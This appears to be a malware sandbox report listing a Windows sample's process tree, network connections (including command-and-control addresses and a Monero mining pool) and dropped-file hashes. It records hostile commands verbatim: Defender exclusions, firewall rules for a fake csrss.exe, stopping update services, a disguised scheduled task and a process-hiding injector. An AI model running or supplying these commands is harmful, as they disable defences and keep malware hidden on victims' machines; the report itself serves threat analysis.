"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,7304109232795058134,2738511118946074995,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2512 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,7304109232795058134,2738511118946074995,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6424 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe

"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=DC88.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa446d46f8,0x7ffa446d4708,0x7ffa446d4718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,7304109232795058134,2738511118946074995,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6752 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,7304109232795058134,2738511118946074995,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1732 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe

C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\system32\cmd.exe

C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"

C:\Windows\system32\netsh.exe

netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-ac 0

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-dc 0

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\System32\schtasks.exe

C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"

C:\Program Files\Google\Chrome\updater.exe

"C:\Program Files\Google\Chrome\updater.exe"

C:\Windows\SysWOW64\rundll32.exe

"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main

C:\Windows\rss\csrss.exe

C:\Windows\rss\csrss.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Windows\SYSTEM32\schtasks.exe

schtasks /delete /tn ScheduledUpdate /f

C:\Windows\SYSTEM32\schtasks.exe

schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -nologo -noprofile

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll

C:\Windows\SYSTEM32\schtasks.exe

schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F

C:\Windows\windefender.exe

"C:\Windows\windefender.exe"

C:\Windows\SysWOW64\cmd.exe

cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

C:\Windows\SysWOW64\sc.exe

sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

C:\Windows\windefender.exe

C:\Windows\windefender.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc

C:\Windows\System32\sc.exe

sc stop UsoSvc

C:\Windows\System32\sc.exe

sc stop WaaSMedicSvc

C:\Windows\System32\sc.exe

sc stop wuauserv

C:\Windows\System32\sc.exe

sc stop bits

C:\Windows\System32\sc.exe

sc stop dosvc

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }

C:\Windows\System32\cmd.exe

C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -hibernate-timeout-dc 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-ac 0

C:\Windows\System32\powercfg.exe

powercfg /x -standby-timeout-dc 0

C:\Windows\System32\conhost.exe

C:\Windows\System32\conhost.exe

C:\Windows\explorer.exe

C:\Windows\explorer.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 208.194.73.20.in-addr.arpa udp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 254.20.238.8.in-addr.arpa udp
US 8.8.8.8:53 www.facebook.com udp
NL 157.240.201.35:443 www.facebook.com tcp
US 8.8.8.8:53 accounts.google.com udp
NL 142.250.179.141:443 accounts.google.com tcp
US 8.8.8.8:53 35.201.240.157.in-addr.arpa udp
US 8.8.8.8:53 141.179.250.142.in-addr.arpa udp
NL 142.250.179.141:443 accounts.google.com udp
FI 77.91.124.55:19071 tcp
US 8.8.8.8:53 static.xx.fbcdn.net udp
CZ 157.240.30.27:443 static.xx.fbcdn.net tcp
CZ 157.240.30.27:443 static.xx.fbcdn.net tcp
CZ 157.240.30.27:443 static.xx.fbcdn.net tcp
CZ 157.240.30.27:443 static.xx.fbcdn.net tcp
CZ 157.240.30.27:443 static.xx.fbcdn.net tcp
CZ 157.240.30.27:443 static.xx.fbcdn.net tcp
US 8.8.8.8:53 27.30.240.157.in-addr.arpa udp
US 8.8.8.8:53 facebook.com udp
CZ 157.240.30.35:443 facebook.com tcp
US 8.8.8.8:53 35.30.240.157.in-addr.arpa udp
US 8.8.8.8:53 fbcdn.net udp
CZ 157.240.30.35:443 fbcdn.net tcp
US 8.8.8.8:53 fbsbx.com udp
US 8.8.8.8:53 195.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 131.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 play.google.com udp
NL 142.251.36.14:443 play.google.com tcp
NL 142.251.36.14:443 play.google.com udp
US 8.8.8.8:53 196.168.217.172.in-addr.arpa udp
US 8.8.8.8:53 14.36.251.142.in-addr.arpa udp
N/A 224.0.0.251:5353 udp
US 8.8.8.8:53 59.128.231.4.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
FI 77.91.68.29:80 77.91.68.29 tcp
US 8.8.8.8:53 29.68.91.77.in-addr.arpa udp
RU 5.42.65.80:80 5.42.65.80 tcp
RU 5.42.92.211:80 5.42.92.211 tcp
US 8.8.8.8:53 80.65.42.5.in-addr.arpa udp
US 8.8.8.8:53 211.92.42.5.in-addr.arpa udp
FI 77.91.124.55:19071 tcp
FI 77.91.124.1:80 77.91.124.1 tcp
FI 77.91.124.55:19071 tcp
FI 77.91.124.55:19071 tcp
US 8.8.8.8:53 126.211.247.8.in-addr.arpa udp
FI 77.91.68.29:80 77.91.68.29 tcp
TR 185.216.70.222:80 185.216.70.222 tcp
US 8.8.8.8:53 222.70.216.185.in-addr.arpa udp
FI 77.91.68.29:80 77.91.68.29 tcp
MD 176.123.9.142:37637 tcp
NL 85.209.176.171:80 85.209.176.171 tcp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 142.9.123.176.in-addr.arpa udp
US 8.8.8.8:53 171.176.209.85.in-addr.arpa udp
US 8.8.8.8:53 bytecloudasa.website udp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
FI 77.91.124.55:19071 tcp
US 8.8.8.8:53 162.61.21.104.in-addr.arpa udp
FI 77.91.124.55:19071 tcp
US 8.8.8.8:53 learn.microsoft.com udp
NL 104.85.2.139:443 learn.microsoft.com tcp
US 8.8.8.8:53 wcpstatic.microsoft.com udp
US 8.8.8.8:53 js.monitor.azure.com udp
US 13.107.246.67:443 js.monitor.azure.com tcp
US 13.107.246.67:443 js.monitor.azure.com tcp
US 8.8.8.8:53 mscom.demdex.net udp
IE 34.250.238.79:443 mscom.demdex.net tcp
US 8.8.8.8:53 target.microsoft.com udp
US 8.8.8.8:53 microsoftmscompoc.tt.omtrdc.net udp
US 8.8.8.8:53 139.2.85.104.in-addr.arpa udp
US 8.8.8.8:53 16.234.44.23.in-addr.arpa udp
US 8.8.8.8:53 67.246.107.13.in-addr.arpa udp
US 8.8.8.8:53 79.238.250.34.in-addr.arpa udp
US 8.8.8.8:53 172.75.67.172.in-addr.arpa udp
US 104.21.61.162:80 bytecloudasa.website tcp
FI 77.91.124.55:19071 tcp
US 8.8.8.8:53 browser.events.data.microsoft.com udp
US 20.42.65.89:443 browser.events.data.microsoft.com tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 20.42.65.89:443 browser.events.data.microsoft.com tcp
US 8.8.8.8:53 89.65.42.20.in-addr.arpa udp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 104.21.61.162:80 bytecloudasa.website tcp
US 8.8.8.8:53 host-file-host6.com udp
US 8.8.8.8:53 host-host-file8.com udp
NL 194.169.175.127:80 host-host-file8.com tcp
US 8.8.8.8:53 127.175.169.194.in-addr.arpa udp
US 8.8.8.8:53 bytecloudasa.website udp
US 172.67.212.39:80 bytecloudasa.website tcp
US 8.8.8.8:53 39.212.67.172.in-addr.arpa udp
FI 77.91.124.1:80 77.91.124.1 tcp
FI 77.91.124.55:19071 tcp
FI 77.91.124.55:19071 tcp
US 8.8.8.8:53 2e539d02-ee2c-4dd2-9f28-45896e73e71d.uuid.cdntokiog.studio udp
FI 77.91.124.55:19071 tcp
US 8.8.8.8:53 server16.cdntokiog.studio udp
US 8.8.8.8:53 stun.sipgate.net udp
US 8.8.8.8:53 cdn.discordapp.com udp
US 162.159.134.233:443 cdn.discordapp.com tcp
US 3.33.249.248:3478 stun.sipgate.net udp
BG 185.82.216.49:443 server16.cdntokiog.studio tcp
US 8.8.8.8:53 walkinglate.com udp
US 188.114.96.0:443 walkinglate.com tcp
US 8.8.8.8:53 udp
FI 77.91.124.55:19071 tcp
FI 77.91.124.55:19071 tcp
US 8.8.8.8:53 90.65.42.20.in-addr.arpa udp
FI 77.91.124.55:19071 tcp
US 8.8.8.8:53 xmr-eu1.nanopool.org udp
PL 51.68.143.81:14433 xmr-eu1.nanopool.org tcp
US 8.8.8.8:53 pastebin.com udp
US 104.20.67.143:443 pastebin.com tcp
US 8.8.8.8:53 81.143.68.51.in-addr.arpa udp
DE 135.125.238.108:14433 xmr-eu1.nanopool.org tcp
US 8.8.8.8:53 143.67.20.104.in-addr.arpa udp
US 8.8.8.8:53 108.238.125.135.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe

MD5 4117c50615525fc2524037b75bc6fde1
SHA1 dd6cd25ba498fb224381a2a28ac0bbf568db4d10
SHA256 8dd971bd1909856434eef7acda38a29d41e5d43a1f64c03680c683b7846fcb05
SHA512 011814d70a5f4d177a20e90dc833db3e4eb7ba1d8de034333c0678871be948c810840a77c1e9c704b2edf0fc5d2bb4b599b2f76d9c481c36acb733aa17bc9be1

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe

MD5 4117c50615525fc2524037b75bc6fde1
SHA1 dd6cd25ba498fb224381a2a28ac0bbf568db4d10
SHA256 8dd971bd1909856434eef7acda38a29d41e5d43a1f64c03680c683b7846fcb05
SHA512 011814d70a5f4d177a20e90dc833db3e4eb7ba1d8de034333c0678871be948c810840a77c1e9c704b2edf0fc5d2bb4b599b2f76d9c481c36acb733aa17bc9be1

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe

MD5 668f26a8f66525132ea5c19b1e81ada2
SHA1 aadbd64239d25968aacb1ad5b2f4401105d452dc
SHA256 9f0ecd275c1de758fbe4c2ba0f607b81216ffa8172513c7a7d9ea6a8d0728632
SHA512 ccedf392ff171cacbcec6be2623bbbec63d74e9da90a22a4be4ba7a120cc0d8b8296e09f0a9b4bd7d829a0615f2ca1650ff9d99bf4afde3c99cb75197cd85279

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe

MD5 668f26a8f66525132ea5c19b1e81ada2
SHA1 aadbd64239d25968aacb1ad5b2f4401105d452dc
SHA256 9f0ecd275c1de758fbe4c2ba0f607b81216ffa8172513c7a7d9ea6a8d0728632
SHA512 ccedf392ff171cacbcec6be2623bbbec63d74e9da90a22a4be4ba7a120cc0d8b8296e09f0a9b4bd7d829a0615f2ca1650ff9d99bf4afde3c99cb75197cd85279

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe

MD5 40207eb7d80b561e885778b764e21b2b
SHA1 4cd0a723b095a11ca3e330c5556ef74dee656ffa
SHA256 c1821a9f53d871a64ed58f53de1d9b839b1f3fc0680566d9f2c2aeb2efefb3ca
SHA512 dafd1f0e17a1a8acb9c4f1910359acbf25565d38fab598bd4ebb6ff0dbb75632b881e9e631035770454dcab578b5b75265e7639ac93e3e8fa345be9faae47a01

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe

MD5 40207eb7d80b561e885778b764e21b2b
SHA1 4cd0a723b095a11ca3e330c5556ef74dee656ffa
SHA256 c1821a9f53d871a64ed58f53de1d9b839b1f3fc0680566d9f2c2aeb2efefb3ca
SHA512 dafd1f0e17a1a8acb9c4f1910359acbf25565d38fab598bd4ebb6ff0dbb75632b881e9e631035770454dcab578b5b75265e7639ac93e3e8fa345be9faae47a01

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe

MD5 6241b03d68a610324ecda52f0f84e287
SHA1 da80280b6e3925e455925efd6c6e59a6118269c4
SHA256 ec74de9416b8ef2c3bdb1a9835e54548b3185524210d1aeffa91c98f74f751e2
SHA512 a60fe447cb0bed8e6cbd7c344b19a4602553209cbda7a40993f0fdf01e096bda4b79de0b528ecebf2efa0007f81d7bd6c7ef84252b2a160c93d642a78f0095f9

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe

MD5 6241b03d68a610324ecda52f0f84e287
SHA1 da80280b6e3925e455925efd6c6e59a6118269c4
SHA256 ec74de9416b8ef2c3bdb1a9835e54548b3185524210d1aeffa91c98f74f751e2
SHA512 a60fe447cb0bed8e6cbd7c344b19a4602553209cbda7a40993f0fdf01e096bda4b79de0b528ecebf2efa0007f81d7bd6c7ef84252b2a160c93d642a78f0095f9

memory/3360-28-0x00000000744A0000-0x0000000074C50000-memory.dmp

memory/3360-29-0x0000000004B50000-0x0000000004B60000-memory.dmp

memory/3360-30-0x0000000000790000-0x00000000007AE000-memory.dmp

memory/3360-31-0x0000000004B50000-0x0000000004B60000-memory.dmp

memory/3360-32-0x0000000004B60000-0x0000000005104000-memory.dmp

memory/3360-33-0x0000000002540000-0x000000000255C000-memory.dmp

memory/3360-34-0x0000000002540000-0x0000000002556000-memory.dmp

memory/3360-35-0x0000000002540000-0x0000000002556000-memory.dmp

memory/3360-37-0x0000000002540000-0x0000000002556000-memory.dmp

memory/3360-39-0x0000000002540000-0x0000000002556000-memory.dmp

memory/3360-41-0x0000000002540000-0x0000000002556000-memory.dmp

memory/3360-51-0x0000000002540000-0x0000000002556000-memory.dmp

memory/3360-53-0x0000000002540000-0x0000000002556000-memory.dmp

memory/3360-61-0x0000000002540000-0x0000000002556000-memory.dmp

memory/3360-59-0x0000000002540000-0x0000000002556000-memory.dmp

memory/3360-57-0x0000000002540000-0x0000000002556000-memory.dmp

memory/3360-55-0x0000000002540000-0x0000000002556000-memory.dmp

memory/3360-49-0x0000000002540000-0x0000000002556000-memory.dmp

memory/3360-47-0x0000000002540000-0x0000000002556000-memory.dmp

memory/3360-45-0x0000000002540000-0x0000000002556000-memory.dmp

memory/3360-43-0x0000000002540000-0x0000000002556000-memory.dmp

memory/3360-62-0x00000000744A0000-0x0000000074C50000-memory.dmp

memory/3360-63-0x0000000004B50000-0x0000000004B60000-memory.dmp

memory/3360-64-0x0000000004B50000-0x0000000004B60000-memory.dmp

memory/3360-66-0x00000000744A0000-0x0000000074C50000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe

MD5 4e10fde88dd9d2d63f426599a292444e
SHA1 aab6ffd77142b05a285bdfe17a0d81b9f104a144
SHA256 deca3ae35cab3253c52e03468f324bd45922c0e2eab9cf453eede5d75cdaad8e
SHA512 6d9b64a47ffc5e4dfd947da76833bad56be34a57993b55cbceb8f48be0ec556f3367eb78b05e93fcfed5d9a879770148bee74dc0da4f762b5f98d7c1efe527f8

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe

MD5 4e10fde88dd9d2d63f426599a292444e
SHA1 aab6ffd77142b05a285bdfe17a0d81b9f104a144
SHA256 deca3ae35cab3253c52e03468f324bd45922c0e2eab9cf453eede5d75cdaad8e
SHA512 6d9b64a47ffc5e4dfd947da76833bad56be34a57993b55cbceb8f48be0ec556f3367eb78b05e93fcfed5d9a879770148bee74dc0da4f762b5f98d7c1efe527f8

memory/1712-70-0x0000000000400000-0x0000000000433000-memory.dmp

memory/1712-74-0x0000000000400000-0x0000000000433000-memory.dmp

memory/1712-72-0x0000000000400000-0x0000000000433000-memory.dmp

memory/1712-71-0x0000000000400000-0x0000000000433000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\3gO05ag.exe

MD5 edc5d8666c0caf68f37b71985ec0bd03
SHA1 28499c1d50d5b80e55b812c7bbdf16e3b1bc7ddb
SHA256 dc1112575c9eadc678d7e9e18f23ee001e4f56fafc3b9352f5ab05951991ecdb
SHA512 f130fbac42510d7f8ed19963f0c81ea10bf1e103965b4031d04cfa5c2efc67ab019c3f5e330fcd56b87b1e4cc3e77dc0851d739ec94aba788e68522e8a1b4c5e

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\3gO05ag.exe

MD5 edc5d8666c0caf68f37b71985ec0bd03
SHA1 28499c1d50d5b80e55b812c7bbdf16e3b1bc7ddb
SHA256 dc1112575c9eadc678d7e9e18f23ee001e4f56fafc3b9352f5ab05951991ecdb
SHA512 f130fbac42510d7f8ed19963f0c81ea10bf1e103965b4031d04cfa5c2efc67ab019c3f5e330fcd56b87b1e4cc3e77dc0851d739ec94aba788e68522e8a1b4c5e

memory/2084-78-0x0000000000400000-0x0000000000409000-memory.dmp

memory/2084-79-0x0000000000400000-0x0000000000409000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4Nz677Xm.exe

MD5 387577cb83814176b06f8f0631fea132
SHA1 a204ff6e96ff6e6e4cbcc8d6e855132180591449
SHA256 1d7bbec9f8fa7660280d7c70ac3c7ac52415b8646d03f84644afc2acd0ade8ea
SHA512 af799a35c5b4f6badd7e63784e5c446d9bf4c5b4ee434d8d91e77e368d6b0f626312c9e942ee948e913772327bfb4294286577b29686935bfd4e8f0363fd417c

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4Nz677Xm.exe

MD5 387577cb83814176b06f8f0631fea132
SHA1 a204ff6e96ff6e6e4cbcc8d6e855132180591449
SHA256 1d7bbec9f8fa7660280d7c70ac3c7ac52415b8646d03f84644afc2acd0ade8ea
SHA512 af799a35c5b4f6badd7e63784e5c446d9bf4c5b4ee434d8d91e77e368d6b0f626312c9e942ee948e913772327bfb4294286577b29686935bfd4e8f0363fd417c

memory/3840-83-0x0000000000400000-0x000000000043E000-memory.dmp

memory/3840-84-0x0000000074090000-0x0000000074840000-memory.dmp

memory/3840-85-0x0000000007720000-0x00000000077B2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\5nS5Jc7.exe

MD5 aff13e435745c08faedeecefc7bd0bfe
SHA1 b64f58a9034698edef453a0c71bb5b6945085a2c
SHA256 279d7109547300b564ab26c219638f5a2e679bb045de21bc8c829461ffcf9acc
SHA512 dc8f26b6d0c0b2d5282f4f55f46e260196c8c0232e66de36de473ee50d2b918ee3132f02a83d6fb6179c26fa6d904bdc7ec00bc75370e13c769919a0468e4a0b

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\5nS5Jc7.exe

MD5 aff13e435745c08faedeecefc7bd0bfe
SHA1 b64f58a9034698edef453a0c71bb5b6945085a2c
SHA256 279d7109547300b564ab26c219638f5a2e679bb045de21bc8c829461ffcf9acc
SHA512 dc8f26b6d0c0b2d5282f4f55f46e260196c8c0232e66de36de473ee50d2b918ee3132f02a83d6fb6179c26fa6d904bdc7ec00bc75370e13c769919a0468e4a0b

memory/3840-90-0x00000000078E0000-0x00000000078F0000-memory.dmp

memory/3840-91-0x00000000078B0000-0x00000000078BA000-memory.dmp

memory/3152-92-0x0000000008480000-0x0000000008496000-memory.dmp

memory/2084-93-0x0000000000400000-0x0000000000409000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\214E.tmp\215F.tmp\2160.bat

MD5 0ec04fde104330459c151848382806e8
SHA1 3b0b78d467f2db035a03e378f7b3a3823fa3d156
SHA256 1ee0a6f7c4006a36891e2fd72a0257e89fd79ad811987c0e17f847fe99ea695f
SHA512 8b928989f17f09282e008da27e8b7fd373c99d5cafb85b5f623e02dbb6273f0ed76a9fbbfef0b080dbba53b6de8ee491ea379a38e5b6ca0763b11dd4de544b40

memory/3840-97-0x00000000088A0000-0x0000000008EB8000-memory.dmp

memory/3840-98-0x0000000007AF0000-0x0000000007BFA000-memory.dmp

memory/3840-99-0x0000000007990000-0x00000000079A2000-memory.dmp

memory/3840-100-0x00000000079F0000-0x0000000007A2C000-memory.dmp

memory/3840-101-0x0000000007A30000-0x0000000007A7C000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 3478c18dc45d5448e5beefe152c81321
SHA1 a00c4c477bbd5117dec462cd6d1899ec7a676c07
SHA256 d2191cbeb51c49cbcd6f0ef24c8f93227b56680c95c762843137ac5d5f3f2e23
SHA512 8473bb9429b1baf1ca4ac2f03f2fdecc89313624558cf9d3f58bebb58a8f394c950c34bdc7b606228090477f9c867b0d19a00c0e2f76355c613dafd73d69599c

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

MD5 4d25fc6e43a16159ebfd161f28e16ef7
SHA1 49941a4bc3ed1ef90c7bcf1a8f0731c6a68facb4
